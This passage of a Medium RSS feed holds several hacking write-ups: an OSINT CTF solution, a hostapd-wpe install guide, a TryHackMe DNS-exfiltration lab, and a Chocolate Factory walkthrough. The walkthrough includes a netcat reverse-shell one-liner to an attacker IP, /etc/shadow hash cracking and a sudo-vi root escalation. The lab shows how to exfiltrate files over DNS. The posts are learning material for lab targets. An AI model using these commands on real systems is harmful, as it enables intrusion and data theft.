src="https://cdn-images-1.medium.com/max/1024/1*D3k5rvIe_pKAidYtSWodIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yxIQdswjUeXQp_mrsK_2Bg.png" /><figcaption>early snapshot with flag</figcaption></figure><p><strong>Critical Thinker — 12 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*lGsHgiTZAU1sQO9mGgcweA.png" /></figure><p>There was an episode called CSP Bypasses Everywhere of the Critical Thinker Podcast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*o9KdHPTYGkb0jPpuYChelQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*7PDwIb6nyRTMryVfDQPGkw.png" /><figcaption>flag in the episode notes</figcaption></figure><p>.- -. -. — — ..- -. -.-. . — . -. — .-.-.- . — — . — . . — .<strong>17 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*HWfLrchBZjwTr8Ma3G-jRg.png" /></figure><p>So this is a morse code title:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*-L5xv8UN35SIAJFfBByVCQ.png" /><figcaption>referencing a JPEG</figcaption></figure><p>Going to Nahamsec twitter, we find the Image of the announcement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-EVHZBISAAVwG3qwEwl4gA.png" /><figcaption>morse code again</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*eKKlUSjY9pIbMF73J7lH3g.png" /><figcaption>flag found</figcaption></figure><p><strong>LEAKED:XV8QVYtg — 18 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*c30o2cgSdxIRUf2oC5EZpA.png" /></figure><p>The XV8QVYtg is from a pastebin link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*nc5DdwRDLwqaCGOuo6Fixw.png" /><figcaption>flag in the comments</figcaption></figure><p><strong>I’m DataBase 1&amp; 2 — Total 40 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*V9G2GpJxIIFP1zr-LGZQiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*hv1hM1Hizs2bUDqgtu_kXw.png" /></figure><p>Heading over to IMDB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*pNaFHtEQuTfUa5r32sHUPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WiPW_27zSnciAm9cC6cPcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*qvSQyr18IBXKfbcRq3wv_A.png" /><figcaption>Reviews and List of the Movie Critic</figcaption></figure><p><strong>????? — 20 points</strong></p><p>The hint refers to a rail fence cipher.<br>Shoutout to John Hammond video for learning how to solve the railfence cipher. Make sure there is no whitespace after ssg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*33soa24Ry7E9u_S0pf6Usg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Yr065KvPwhIfxSQE5nstSw.png" /><figcaption><a href="https://www.boxentriq.com/code-breaking/rail-fence-cipher">https://www.boxentriq.com/code-breaking/rail-fence-cipher</a></figcaption></figure><p><strong>ANNOUCEMENT.MP4–22 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*F5lKW7V0Udj3Hnx4ePKZkw.png" /></figure><p>For this one, the video of the announcement, contains morse sounds at the end.</p><p>You need to slow the video down, and crop out the morse code part, and you can decrypt the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qOcwhTrLrz5O1hnCQ-ngkw.png" /></figure><p><a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html">https://morsecode.world/international/decoder/audio-decoder-adaptive.html</a></p><p><strong>1:22 AM — 25 POINTS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*Yi7skZ0Kjkd8uyY-xYCYQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*ATQHYhJntoTsTK9mqU885g.png" /><figcaption>flag in the edited history</figcaption></figure><p><strong>Leaderboard Hub — 25 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*j0uMoE-41mseqohg6hzw0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B420IdNKCe6IxIchZT-tnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*4ubYc0BdVxbZwP6428_Q0Q.png" /></figure><p>Hackinghub.io all time leaderboard, clicking on the window icon:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*bZ34AFERjG2-ilnoUxgmMA.png" /><figcaption>redirected to this</figcaption></figure><p><strong>Bugcrowd — 25 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*Ic2TDUWO3saGTJd2ZX2r0A.png" /></figure><p>From nahamsec bugcrowd announcement on Twitter we download the png and look at it with zsteg to find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*Ggrlxepl0knaNYYVimNN_A.png" /></figure><p><strong>Hacker Motto — 25 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*_Of570YT86oRuCTAERCpEw.png" /></figure><p>From the image hint, we can extract the name and telephone number and take a look around in Google Street View.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*To_j3gQbkNG38h6kqcRpXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INUPC5N9vZnpJB5sO4T-yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GuHIvEhdkXlUTvuQ-06dMw.png" /></figure><p>The hacker motto <strong>triharder </strong>is there :D</p><p><strong>Discord.. yet again — 25 points</strong></p><p><strong>Discord again and again and again and again — 25 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*pp1rW7tXk_cAEuQsHaeovQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*u5ybyQEv9VcdW8dMrADk1Q.png" /></figure><p>Looking at the users in nahamsec discord channel, we find the loser again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*n5AU6ByI1RZQxhgyHTNopw.png" /></figure><p>The gg/CdM3a8qC is the last past to a discord channel link:</p><p><a href="https://discord.gg/NuW7jvmU">https://discord.gg/NuW7jvmU</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*WfCxchKAh5j0txSNPoMFMw.png" /></figure><p><strong>Self Signed Loser’s Discord — 25 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*JUpX5-SNNScdhPl9gR65iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*EDcyMUdyLtbi9nuNIXlYOw.png" /><figcaption>found in the general channel flag{this_is_a_flag_btw}</figcaption></figure><p><strong>Space Invaders.png — 25 points</strong></p><p>Burp crawler finds these</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*ltQDIQfX-e92w454n6oHXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HsB41lcF8pgJpKM8MeyoDw.png" /></figure><p><strong>Git Good — 29 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*tmQD9GdwTiMcWa3FURGJpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nKArOeZLkF_HJ9XBuHYYRQ.png" /></figure><p>No explanation needed, look at the commit history for each files.</p><p>Keeping the hardest ones for last:</p><p>flag.txt <strong>35 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*7nrJ-s_ExaUmaLwLaj0EqA.png" /></figure><p>Instantly go to all the bugbounty platforms, intigriti and bugcrowd and susbtitute your profile handle with the movie critic handle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ea49p52Oaay-lo3J_HCsXw.png" /><figcaption>profile found on intigriti</figcaption></figure><p>Scan the QR code, you will find that it redirects to:</p><p><a href="https://thisisnotmyrealhandle:UKPassword123456@secure.thisisnotmyrealhandle.site/">https://thisisnotmyrealhandle:UKPassword123456@secure.thisisnotmyrealhandle.site</a></p><p>Once logged in, you can navigate to /flag.txt to retrieve the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*MrC6GFSzWnRvCVexQP6bnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*qeW3y7dvlMNgx7G6KG9LKw.png" /></figure><p><strong>Discord..again — 30 points</strong></p><p>What is red and sticky?</p><p>Definitely the only sticker in nahamsec, redeverything320png</p><p>The name is a clue in itself, go to discord web and find the original image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*uCeiQh-rUAy3P_l8nrDJ_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQoLzhXmu5IbiP03mgvWYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7DIHsgvhOO3x8JRkqJPZw.png" /></figure><p>Now the name is a clue, redeverything 320 png</p><p>changing the url to <a href="https://media.discordapp.net/stickers/1240754530917023796.webp?size=160">https://media.discordapp.net/stickers/1240754530917023796.png?size=</a>320<br>We download the image needed for the ctf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*WJCHtfVByb0AMP3MQxWggQ.png" /><figcaption>flag found with zsteg</figcaption></figure><p>Thank you nahamsec &amp; team for the challenges ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9778826f486" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Install hostapd-wpe on Parrot OS]]></title>
            <link>https://medium.com/@AstroKrypTech/install-hostapd-wpe-on-parrot-os-d1901fd525a2?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1901fd525a2</guid>
            <category><![CDATA[airgeddon]]></category>
            <category><![CDATA[hostapd]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[parrotos]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Thu, 02 Jun 2022 16:24:51 GMT</pubDate>
            <atom:updated>2022-06-02T16:24:51.567Z</atom:updated>
            <content:encoded><![CDATA[<p>Parrot OS v5.0.1</p><p>Hi,</p><p>If anyone is having trouble with installing hostapd-wpe on Parrot OS, this is for you.</p><p>You can grab libssl1.0.2 here: <a href="https://debian.sipwise.com/debian-security/pool/main/o/openssl1.0/">https://debian.sipwise.com/debian-security/pool/main/o/openssl1.0/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*-DeOHJdsphJ6XvuOaia6IA.png" /></figure><p>Grab the hostapd-wpe package here: <a href="https://http.kali.org/pool/main/h/hostapd-wpe/">https://http.kali.org/pool/main/h/hostapd-wpe/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*kjHpXWYCIuZqDrw-nBq8sg.png" /></figure><p>Install libssl:</p><blockquote>sudo dpkg -i libssl1.0.2_1.0.2u-1~deb9u7_amd64.deb</blockquote><p>Install hostapd-wpe:</p><blockquote>sudo dpkg -i hostapd-wpe_2.9+git20190816–0kali2_amd64.deb</blockquote><p>Have fun!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1901fd525a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — DNS EXFILTRATION SETUP]]></title>
            <link>https://medium.com/@AstroKrypTech/thm-dns-exfiltration-setup-a38a5f21aa92?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/a38a5f21aa92</guid>
            <category><![CDATA[domains]]></category>
            <category><![CDATA[domain-name-system]]></category>
            <category><![CDATA[exfiltration]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Tue, 16 Mar 2021 17:31:53 GMT</pubDate>
            <atom:updated>2021-10-08T04:49:32.148Z</atom:updated>
            <content:encoded><![CDATA[<h3>2$ DNS EXFILTRATION LAB SETUP</h3><h4><strong>The following is based on the TryHackMe room:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*fJGqBivqLCIm36bHNgDxMw.png" /></figure><h4><a href="https://tryhackme.com/room/dnsmanipulation"><strong>https://tryhackme.com/room/dnsmanipulation</strong></a></h4><p>Have you ever noticed the weird seemingly random characters in a DNS query?</p><p>Turns out it is actually readable data being sent in an obscure way via DNS.</p><p>What is DNS?</p><p>A Domain Name Server help translates our language into a computer one.</p><p>It means any server, devices, on the Internet, has an IP address.</p><p>e.g. Google’s IP address is 8.8.8.8</p><p>and the more complicated ones, associated with Facebook, for example, we can’t remember.</p><p>We only easily remember human-readable names, and that is why we have domains.</p><p><a href="http://www.google.com/">www.google.com</a></p><p><a href="http://www.facebook.com/">www.facebook.com</a></p><p>We type the domains, and our computer queries the DNS server which contain records on how to translate domain to their respective IP address.</p><p><a href="http://www.google.com/">www.google.com</a> — — — — — — 8.8.8.8</p><p>The DNS queries, can be manipulated. We can query a specific DNS server while manipulating the query itself.</p><p>e.g.</p><p>ilove.google.com</p><p>alberteinstein.google.com</p><p>anditisasecret.google.com</p><p>Here I have queried the DNS server for those inexistent ‘subdomains’.</p><p>This is how attackers send messages or exfiltrate data via DNS.</p><p>Mind you, unlike me, they won’t send it in the clear.</p><p>My <em>ilovealberteinsteinanditisasecret </em>is going to be encoded to make it look scrambled and random like in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52j0y2OdSob-mNwX-XAXVw.png" /><figcaption>The domain is badbaddoma.in</figcaption></figure><p>Let’s say that I got into your machine.</p><p>I want to send data from outside the network to my other hacker friend.</p><p>On the target machine, I will install the tools made by <em>kleosdc.</em></p><p>git clone <a href="https://github.com/kleosdc/dns-exfil-infil">https://github.com/kleosdc/dns-exfil-infil</a></p><p>cd dns_exfil_infil</p><p>sudo pip3 install -r requirements.txt</p><p>I will also set up an AWS server to be a DNS server.</p><p>How to setup a BIND9 DNS server for OOB Exfiltration! (step by step) BUG BOUNTY — PENTEST</p><p><a href="https://www.youtube.com/watch?v=p8wbebEgtDk">https://www.youtube.com/watch?v=p8wbebEgtDk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zurWpwsg0kX0N_nnHUbLRw.png" /><figcaption>Thanks STOK</figcaption></figure><p>I grabbed a domain at round 2$ (.fun) at GoDaddy with STOK coupon in the video.</p><p>I used AWS Free tier for the server. (FREE)</p><p>Copy the public IP and enter it, as shown below, in the GoDaddy management panel.</p><p>ns1 — public ip address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*qNJHXJURePsnvglDt0SMFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*wjlFMN5U2ntnxxYvOzPpng.png" /></figure><p>Edit inbound security rules (security groups) to allow DNS (UDP/TCP 53)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EZei6QPQVvke61-FcVS8Vg.png" /></figure><p>SSH into your aws server now</p><p>and git clone the OOB-server to run the below command:</p><p>sudo ./setup <strong><em>domain.com</em></strong> <strong><em>public_ip</em></strong></p><p><a href="https://github.com/JuxhinDB/OOB-Server">JuxhinDB/OOB-Server</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Oxq4gPwPCsjgHBw6-shvkQ.png" /></figure><p>You can even monitor the requests in one ssh window:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*UjN41-ADP0dbHFEZxEF-Qg.png" /></figure><p>Download kleosdc dns-exfil-infil tool on the aws server:</p><p>git clone <a href="https://github.com/kleosdc/dns-exfil-infil">https://github.com/kleosdc/dns-exfil-infil</a></p><p><strong><em>On the attacker’s machine:-</em></strong></p><p>Set up wireshark to capture the incoming requests.</p><p><a href="https://www.wireshark.org/download.html">https://www.wireshark.org/download.html</a></p><p>sudo apt install -y tshark</p><p>touch file_name.pcap [creates an empty capture file]</p><p>chmod 666 file_name.pcap [necessary permission to make it read-writable]</p><p>sudo tshark -i eth0 -w file_name.pcap [to start packet capture]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/0*ysi75kZGWhg7kGcB.PNG" /></figure><p>Then it’s just a matter of waiting for the transmission to reach 100%. If any of the queries are not delivered on time and in the right order the exfiltrated data will be incomplete and useless to the attacker. server:</p><p>You will use the following file. The goal is to transfer securecorp.txt to your listening DNS aws server.</p><p>securecorp.txt (<a href="https://github.com/kleosdc/dns-exfil-infil/blob/main/securecorp.txt">https://github.com/kleosdc/dns-exfil-infil/blob/main/securecorp.txt</a>)<br>packety.py (<a href="https://github.com/kleosdc/dns-exfil-infil/blob/main/packety.py">https://github.com/kleosdc/dns-exfil-infil/blob/main/packety.py</a>)<br>packetGrabber.py (<a href="https://github.com/kleosdc/dns-exfil-infil/blob/main/packetyGrabber.py">https://github.com/kleosdc/dns-exfil-infil/blob/main/packetyGrabber.py</a>)</p><p><strong><em>On the target machine:-</em></strong></p><blockquote>cd dns-exfil-infil</blockquote><blockquote>python packetyGrabber.py</blockquote><p>Enter the filename you want to transfer.</p><p>Enter the domain.</p><p>Press ENTER to start transmitting.</p><p>Once it reaches 100% , stop the packet capture on you aws server.</p><p>Use packetyGrabber.py to decode the pcap and get the original content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*ihYIs6Sc0H7Vhys1Kdhk7g.jpeg" /><figcaption>DNS queries coming in during exfiltration on the DNS SERVER</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upNtwdKhlmc2DKcbz2LWag.jpeg" /><figcaption>Left: Exfiltration on target machine Right: Decoding the capture after exfiltration to get the original data.</figcaption></figure><p>I hope it convinces you to try it out :D Have fun!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a38a5f21aa92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Chocolate Factory]]></title>
            <link>https://medium.com/@AstroKrypTech/thm-chocolate-factory-8db528c7110f?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/8db528c7110f</guid>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[image-steganography]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Thu, 21 Jan 2021 17:08:22 GMT</pubDate>
            <atom:updated>2021-03-18T12:55:49.474Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Chocolate Factory (beginner friendly)</h3><p>Difficulty: Easy</p><blockquote><a href="https://tryhackme.com/room/chocolatefactory">https://tryhackme.com/room/chocolatefactory</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*Qzqgl7bKqB4YRO7o" /><figcaption>Charlie :D</figcaption></figure><ol><li>Enumeration:</li></ol><p>nmap -A -vv 10.10.104.219</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*J_0vA1iBxWdMxNTy2vhpjw.png" /><figcaption>nmap scan</figcaption></figure><p>-A :enables OS detection, version detection, script scanning, and traceroute</p><p>I find an interesting area to explore in the nmap result:</p><p><a href="http://localhost/key_rev_key">http://localhost/key_rev_key</a></p><p>With a deciphering message after: You will get the key here.</p><p>I browse to port 80 of the machine’s IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*ik71NkqNoBi6ySXWPoBKUA.png" /></figure><p>A download prompt appears and I save the file called key_rev_key and print out the contents with the command cat to get a key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*XRsOtOKS17U11NIyvyN4Tg.png" /></figure><p>From the nmap scan result:</p><p>ftp-anon: Anonymous FTP login allowed</p><p>This means that I can login via FTP to the machine’s IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*6iMiQx8lnpsntuVrXJgJ5w.png" /><figcaption>Anonymous ftp allowed (no password required)</figcaption></figure><p>2. Exploitation</p><p>I identified the next step.</p><p>Let’s login:</p><p>ftp 10.10.104.219</p><p>type <em>anonymous</em> for the name prompt and press enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*k1QOURvH0M15iPsGywpOag.png" /></figure><p>I browse (I use the <em>dir </em>command) and find an image. I download it (I use the <em>get </em>command).</p><p>Now for the stego part, i analysed it with steghide.</p><p><em>steghide info gum_room.jpg</em></p><p>There is an embedded file “b64.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*NfNDzi5P3i8YaSop9ulNxw.png" /></figure><p>I extract it by typing:</p><p><em>steghide extract -sf gum_room.jpg</em></p><figure><img alt="wrote extracted data to b64.txt" src="https://cdn-images-1.medium.com/max/686/1*B_KoCYpLiNopBc8UfLcz2Q.png" /></figure><p>b64 is base64; so i base64 decoded the contents of the b64.txt using CyberChef:</p><p><a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*i-tXfoj9eVyn9MOMXWVYqQ.png" /><figcaption>/etc/shadow file</figcaption></figure><p>The decoded output is the file that saves all the passwords as hashes on a Linux system: /etc/shadow</p><p>Therefore attempting to crack the hash of Charlie will get you his password in plaintext.</p><blockquote>The first two fields of the /etc/shadow</blockquote><blockquote><strong>Username</strong> : It is your login name.</blockquote><blockquote><strong>Password</strong> : It is your encrypted password. The password should be minimum 8–12 characters long including special characters, digits, lower case alphabetic and more. Usually password format is set to $id$salt$hashed, The $id is the algorithm used On GNU/Linux as follows:</blockquote><blockquote><strong>$1$</strong> is MD5</blockquote><blockquote><strong>$2a$</strong> is Blowfish</blockquote><blockquote><strong>$2y$</strong> is Blowfish</blockquote><blockquote><strong>$5$</strong> is SHA-256</blockquote><blockquote><strong>$6$</strong> is SHA-512</blockquote><blockquote>Ref: https://www.cyberciti.biz/faq/understanding-etcshadow-file/</blockquote><p>The password cracking tool I used is <strong>hashcat.</strong></p><p>I extracted the hashed password and removed all colons and the username and saved it in a text file called <strong>hash.txt (feel free to change the name to whatever)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*um89h956F18ixq1e.png" /><figcaption>Example of an extracted hash, mind you, it is not the one found in THM, so you gotta try on your own! haha</figcaption></figure><blockquote><em>hashcat -m 1800 -a 0 -o found1.txt hash.txt /usr/share/wordlists/rockyou.txt</em></blockquote><p>Login with the credentials found on the webpage login portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*GYuQxIGiSAAZYaVHtMQqjg.png" /></figure><p>A remote command execution is found. (not shown here)</p><p>On the machine, start your netcat listener.</p><blockquote><strong><em>nc -lvnp 9001</em></strong></blockquote><p>Let’s generate a reverse shell.</p><p>I usually use the one below. Do not forget to modify with your machine ip and with the port you are listening on.</p><pre><strong>rm /tmp/f;</strong>mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|<strong>nc 10.10.14.53 9001</strong> &gt;/tmp/f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*4ZZckdJDws0DWegqhfGS-w.png" /><figcaption>gain shell</figcaption></figure><p>And we gain a shell via netcat.</p><p>I don’t like to stabilise shell with python. What if python isn’t installed?</p><p>I found a fast alternative.</p><p><em>/usr/bin/script -qc /bin/bash /dev/null</em></p><p>Run the above in the shell.</p><p>Ctrl+z</p><p>Now enter:</p><p><em>stty raw -echo; fg; reset</em></p><p>Press enter twice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*WrdT-hANrBlVesjzSXJthg.png" /></figure><p>We are now in the web server, I then navigate and find I don’t have the necessary permission to view the file: user.txt in the home directory of Charlie but i can view the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*hhfBGnAA-bzKE9GplEoPLA.png" /></figure><p>The file <em>teleport </em>catches my attention.</p><p>When I delve inside, I find something that looks like a SSH key.</p><p>I proceed to copy this to a text file, e.g. sshkey.txt</p><blockquote><em>chmod 600 sshkey.txt</em></blockquote><p>and amend the permissions to match those of general SSH keys.</p><p><em>ssh charlie@victim_ip -i sshkey.txt</em></p><p><strong>I am now Charlie.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*XFm06l1eO1NsqN5i8hGxqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*gEbFdkA168wtanADdg8x9Q.png" /></figure><p>I am able to view the contents of user.txt and read the flag.</p><p><em>cat user.txt</em></p><p>3. Privilege Escalation</p><p>Now, I want root access to the machine to get the flag root.txt</p><p>I always run <em>sudo -l </em>to check what binary can run with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*IxtRDal-nrxQLFuEpntDeg.png" /></figure><p>A bit of research and I realise that I can gain a root shell when running vi as sudo.</p><p><em>sudo vi</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*LIzH6Q8Zx0_wxLGeCLiBuA.png" /><figcaption>spawning root shell</figcaption></figure><p>I press ESC and enter the below command in vi -</p><blockquote><strong>:!/bin/bash</strong></blockquote><p>Press Enter.</p><p>You are now root.</p><p>There is a python file in the root directory that I can’t wait to run.</p><p><em>python root.py</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*6p7w4kgH8LqzCkMZ8Kav6Q.png" /><figcaption>enter the key you found in first</figcaption></figure><p>It is asking me for a key so I enter the one I found at the beginning and enjoy the view of the nice ascii message on printing the contents of root.txt ;)</p><p><em>cat root.txt</em></p><p>I hope you enjoyed the read. Have fun with this one.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8db528c7110f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>